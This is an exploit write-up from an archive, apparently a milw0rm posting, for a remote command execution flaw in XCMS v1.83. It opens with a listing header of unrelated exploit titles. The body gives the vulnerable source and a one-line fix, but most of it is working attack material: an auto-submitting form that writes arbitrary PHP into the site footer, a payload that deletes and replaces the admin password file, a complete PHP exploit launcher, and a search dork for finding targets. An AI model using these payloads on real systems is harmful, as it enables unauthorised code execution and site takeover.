477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
106 lines
3.5 KiB
Text
Executable file
106 lines
3.5 KiB
Text
Executable file
Name : XCMS <= v1.83 Remote Command Execution Vulnerability
|
|
Author : x0kster
|
|
Email : x0kster@gmail.com
|
|
Site : ihteam.net
|
|
Script Download : http://www.xcms.it
|
|
Date : 28/12/2007
|
|
Dork : inurl:"mod=notizie"
|
|
|
|
The xcms's footer(that is in "/dati/generali/footer.dtb") is included in each page of the xcms.
|
|
Taking "home.php" for example:
|
|
|
|
<?php
|
|
//home.php
|
|
[...]
|
|
include(CSTR."footer".STR); // <- "CSTR" and "STR" are the constants previously declared. They refers to "/dati/generali" and "dtb"
|
|
?>
|
|
|
|
So the xcms allow you to modify the footer throught a bugged page called cpie.php included in the admin panel.
|
|
So let's take a look to the bugged code.
|
|
|
|
<?php
|
|
//cpie.php
|
|
[...]
|
|
if(isset($_SESSION['logadmin'])===false){ header("location:index.php"); } // <- so miss an exit() :-D
|
|
[...]
|
|
if(isset($_POST['salva'])){
|
|
Scrivi(CGEN."footer".DTB,stripslashes($_POST['testo_0'])); // <- save the changements without any kind of control
|
|
}
|
|
[...]
|
|
?>
|
|
|
|
So with a simple html form we can change the footer.
|
|
Ex:
|
|
|
|
<form name="editor" action="http://[SITE_WITH_XCMS]/index.php?lng=it&pg=admin&s=cpie" method="post">
|
|
<input type="hidden" name="salva" value="OK" />
|
|
<textarea name="testo_0"><?php YOUR PHP CODE ?></textarea>
|
|
<input type="submit" value="Modifica" />
|
|
</form>
|
|
<script>document.editor.submit()</script>
|
|
|
|
Note: This is NOT a CSRF, this is just an example to change the footer without the admin credentials.
|
|
|
|
|
|
|
|
Trick: We can change the admin panel password by inserting this code in the footer:
|
|
|
|
<?php
|
|
$pwd = "owned"; // <- Place here your new password.
|
|
$pwd2 = md5($pwd);
|
|
unlink("dati/generali/pass.php");
|
|
$f = fopen("dati/generali/pass.php",w);
|
|
fwrite($f,"<?php \$mdp = \"$pwd2\"; ?>");
|
|
fclose($f);
|
|
?>
|
|
|
|
This code delete the old password file and then create a new one with your new password.
|
|
|
|
|
|
Fix:
|
|
|
|
<?php
|
|
//cpie.php
|
|
[...]
|
|
if(isset($_SESSION['logadmin'])===false){ header("location:index.php"); exit(); } // with an exit() we can fix the bug.
|
|
[...]
|
|
if(isset($_POST['salva'])){
|
|
Scrivi(CGEN."footer".DTB,stripslashes($_POST['testo_0'])); // <- save the changements without any kind of control
|
|
}
|
|
[...]
|
|
?>
|
|
|
|
So this is a simple exploit:
|
|
|
|
|
|
<?php
|
|
if(isset($_POST['send']) and isset($_POST['code']) and isset($_POST['site'])){
|
|
echo "
|
|
<form name=\"editor\" action=\"http://".$_POST['site']."/index.php?lng=it&pg=admin&s=cpie\" method=\"post\">
|
|
<input type=\"hidden\" name=\"salva\" value=\"OK\" />
|
|
<textarea name=\"testo_0\">".$_POST['code']."</textarea>
|
|
<input type=\"submit\" value=\"Modifica\" />
|
|
</form>
|
|
<script>document.editor.submit()</script>";
|
|
}else{
|
|
echo"
|
|
<pre>
|
|
XCMS <= v1.82 Remote Command Execution Vulnerability
|
|
Dork : inurl:\"mod=notizie\"
|
|
by x0kster
|
|
Visit ihteam.net
|
|
</pre>
|
|
<form method=POST action=".$_POST['PHP_SELF'].">
|
|
<pre>
|
|
Site :
|
|
<input type=text name=site />
|
|
Code :
|
|
<textarea name=code cols=49 rows=14>Your code here</textarea>
|
|
<input type=submit value=Exploit />
|
|
<input type=hidden name=\"send\" />
|
|
</pre>
|
|
</form>";
|
|
}
|
|
?>
|
|
|
|
# milw0rm.com [2007-12-30]
|